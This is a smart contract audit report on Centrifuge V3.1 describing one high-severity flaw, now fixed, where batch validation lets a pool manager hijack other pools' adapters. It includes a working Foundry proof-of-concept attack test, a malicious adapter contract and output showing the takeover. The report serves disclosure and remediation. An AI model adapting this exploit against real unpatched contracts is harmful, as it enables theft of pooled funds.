BURRA SEC

Centrifuge V3.1 Protocol Security Review

Reviewed by: Goran Vladika, SpicyMeatball, naman

8th October - 10th October, 2025

Centrifuge V3.1 Protocol Security Review Report

Burra Security

October 17, 2025

Introduction

A time-boxed security review of the **Centrifuge V3.1** protocol was done by **Burra Security** team, focusing on the security aspects of the smart contracts.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource, and expertise-bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any vulnerabilities. Subsequent security reviews, bug bounty programs, and on-chain monitoring are recommended.

About Burra Security

Burra Sec offers security auditing and advisory services with a special focus on cross-chain and inter-operability protocols and their integrations.

About Centrifuge V3.1

Centrifuge is an open, decentralized protocol for onchain asset management. Built on immutable smart contracts, it enables permissionless deployment of customizable tokenization products.

Build a wide range of use cases, from permissioned funds to onchain loans, while enabling fast, secure deployment. ERC-4626 and ERC-7540 vaults allow seamless integration into DeFi.

Using protocol-level chain abstraction, tokenization issuers access liquidity across any network, all managed from one Hub chain of their choice.

Severity classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact - The technical, economic, and reputation damage from a successful attack

Likelihood - The chance that a particular vulnerability gets discovered and exploited

Severity - The overall criticality of the risk

Informational - Findings in this category are recommended changes for improving the structure, usability, and overall effectiveness of the system.

Security Assessment Summary

***review commit hash* - 55e61dcc9830b2fb519a671db199cad4686563c4**

Scope

The following smart contracts were in the scope of the audit:

- src/core/Gateway.sol
- src/core/MultiAdapter.sol
- src/core/messaging/GasService.sol
- src/core/messaging/MessageDispatcher.sol
- src/core/messaging/MessageProcessor.sol
- src/adapters/*.sol (excluding the LayerZero adapter)

- src/admin/ProtocolGuardian.sol
- src/admin/OpsGuardian.sol
- src/vaults/factories/RefundEscrowFactory.sol
- src/vaults/RefundEscrow.sol
- src/vaults/AsyncRequestManager.sol#L78-L98

Findings Summary

ID	Title	Severity	Status
H-1	Single pool manager can manipulate adapter payloads to bypass pool ID checks	High	Resolved

Detailed Findings

[H-01] Single pool manager can manipulate adapter payloads to bypass pool ID checks

Target

- MultiAdapter.sol

Severity

- Impact: High
- Likelihood: High

Description

The Centrifuge protocol employs a hub-and-spoke architecture where pools are managed by designated pool managers who have control over their assigned pool. The protocol's security model assumes pool managers are trusted to act in their pool's best interest while limiting their authority to their own pool's scope. However, a critical vulnerability in the MultiAdapter contract allows any pool manager to break out of their intended scope and execute arbitrary operations on other pools.

The vulnerability stems from insufficient validation in the message batching mechanism. When the MultiAdapter receives a batch of messages, it only validates that the calling adapter is authorized for the first message's poolId, then forwards the entire batch to the Gateway for processing without validating subsequent messages:

```
1     function handle(uint16 centrifugeId, bytes calldata payload)
          external {
```

```
        PoolId poolId = messageProperties.messagePoolId(payload); //
            @audit this is poolId of 1st msg only

        IAdapter adapterAddr = IAdapter(msg.sender);
        Adapter memory adapter = _poolAdapterDetails(centrifugeId,
            poolId, adapterAddr);
        require(adapter.id != 0, InvalidAdapter()); // @audit this
            check verifies only the 1st msg's target pool
        // ...
        gateway.handle(centrifugeId, payload); //@audit send the batch
            for execution
```

The flawed assumption is that all messages in a batch target the same pool. It can be exploited by malicious actors because protocol allows pool managers to configure custom adapters for their pools to handle cross-chain messaging. A malicious manager can exploit this by:

1. Setting up a malicious adapter for their Pool_X via `hub.setAdapters()`
2. Crafting a batch containing multiple messages:
    - 1st msg: any message for Pool_X (e.g., `NotifyPool`)
    - 2nd msg: `SetPoolAdapter` on victim pool Pool_A
3. Manager calls `multiAdapter.handle` from malicious adapter providing the crafted msg (directly on "destination" chain, no cross-chain involved)
4. MultiAdapter validation passes - it only checks against the calling adapter for Pool_X. But subsequent msgs in the batch can target any pool
5. Gateway splits batch, then executes poolX msg
6. Next msg is `SetPoolAdapters` on poolA, it executes successfully even though it targets poolA and not manager's poolX
    - malicious manager of poolX effectively overtakes adapters of poolA via `multiAdapter.setAdapters` call
7. Once overtaken, malicious manager controls all cross-chain operations for Pool_A. It can simply fake incoming msgs to drain the pool

This vulnerability completely undermines the protocol's security model of pool isolation. A compromised or malicious manager of a minimal-TVL pool can take over adapters of all other pools, drain funds, manipulate prices and in general, compromise the entire protocol's TVL across all pools..

Proof of Concept

Add this test to EndToEnd.t.sol:

```
    function test_PoolTakeoverAttack_POC() public {
        _setSpoke(false);
        vm.startPrank(address(h.protocolGuardian.safe()));

        //// create pool1
        PoolId POOL_1 = h.hubRegistry.poolId(CENTRIFUGE_ID_A, 100);
        h.opsGuardian.createPool(POOL_1, FM, USD_ID);

        // print adapters before attack
        IAdapter[] memory adaptersPool1ForB =
            h.multiAdapter.poolAdapters({centrifugeId: CENTRIFUGE_ID_B,
                poolId: POOL_1});
        console2.log("Pool1 adapter for chainB:", address(
            adaptersPool1ForB[0]));
        IAdapter[] memory adaptersPool1ForA =
            s.multiAdapter.poolAdapters({centrifugeId: CENTRIFUGE_ID_A,
                poolId: POOL_1});
        console2.log("Pool1 adapter for chainA:", address(
            adaptersPool1ForA[0]));

        //// create pool2 with
        PoolId POOL_2 = h.hubRegistry.poolId(CENTRIFUGE_ID_A, 200);
        address maliciousManager = makeAddr("maliciousManager");
        h.opsGuardian.createPool(POOL_2, maliciousManager, USD_ID);

        /// manager sets malicious adapter
        vm.startPrank(maliciousManager);
        deal(maliciousManager, GAS * 10);

        address maliciousAdapter = address(new MaliciousAdapter());
        IAdapter[] memory localAdapters = new IAdapter[](1);
        localAdapters[0] = IAdapter(maliciousAdapter);

        bytes32[] memory remoteAdapters = new bytes32[](1);
        remoteAdapters[0] = address(localAdapters[0]).toBytes32();

        h.hub.setAdapters{value: GAS}(POOL_2, CENTRIFUGE_ID_B,
            localAdapters, remoteAdapters, 1, 1, REFUND);

        // print pool2 adapters
        IAdapter[] memory adaptersPool2ForB =
            h.multiAdapter.poolAdapters({centrifugeId: CENTRIFUGE_ID_B,
                poolId: POOL_2});
        console2.log("Pool2 malicious adapter set by malicious manager
            for chainB:", address(adaptersPool2ForB[0]));
        IAdapter[] memory adaptersPool2ForA =
            s.multiAdapter.poolAdapters({centrifugeId: CENTRIFUGE_ID_A,
                poolId: POOL_2});
        console2.log("Pool2 malicious adapter set by malicious manager
            for chainA:", address(adaptersPool2ForA[0]));
```

```
42          vm.stopPrank();
43
44          /// call MultiAdapter from malicious adapter. 2nd message is
                the one doing overtake
45          bytes memory msg1 = MessageLib.NotifyPool({poolId: POOL_2.raw()
                }).serialize();
46          bytes memory maliciousMsg = MessageLib.SetPoolAdapters({
47              poolId: POOL_1.raw(),
48              threshold: 1,
49              recoveryIndex: 1,
50              adapterList: remoteAdapters
51          }).serialize();
52          bytes memory batch = bytes.concat(msg1, maliciousMsg);
53          MaliciousAdapter(maliciousAdapter).trigger(s.multiAdapter,
                batch);
54
55          /// check attack was successful
56          adaptersPool1ForB = h.multiAdapter.poolAdapters({centrifugeId:
                CENTRIFUGE_ID_B, poolId: POOL_1});
57          console2.log("Pool1 adapter after attack for chain B:", address
                (adaptersPool1ForB[0]));
58
59          adaptersPool1ForA = s.multiAdapter.poolAdapters({centrifugeId:
                CENTRIFUGE_ID_A, poolId: POOL_1});
60          console2.log("Pool1 adapter after attack for chain A:", address
                (adaptersPool1ForA[0]));
61      }
```

Malicious adapter implementation:

```
1  contract MaliciousAdapter {
2      uint16 constant CENTRIFUGE_ID_A = IntegrationConstants.
           CENTRIFUGE_ID_A;
3
4      function trigger(MultiAdapter multiAdapter, bytes calldata payload)
           external {
5          multiAdapter.handle({centrifugeId: CENTRIFUGE_ID_A, payload:
               payload});
6      }
7  }
```

Running the test confirms that Pool1's adapter for chain A is overtaken:

```
1    Pool1 adapter for chainB: 0xa0Cb889707d426A7A386870A03bc70d1b0697598
2    Pool1 adapter for chainA: 0xA4AD4f68d0b91CFD19687c881e50f3A00242828c
3    Pool2 malicious adapter set by malicious manager for chainB: 0
         xaA60dFAB404854002B6Ef8aeaCe6030C2Ef0CF9E
4    Pool2 malicious adapter set by malicious manager for chainA: 0
         xaA60dFAB404854002B6Ef8aeaCe6030C2Ef0CF9E
5    Pool1 adapter after attack for chain B: 0
         xa0Cb889707d426A7A386870A03bc70d1b0697598
```

```
6    Pool1 adapter after attack for chain A: 0
        xaA60dFAB404854002B6Ef8aeaCe6030C2Ef0CF9E
```

Recommendation

Ensure that all messages in the incoming batch are targeting the same poolId. That way the pool manager is restricted to only impact the pool they're managing.

Client

Fixed with PR#718.

BurraSec

Fix looks good.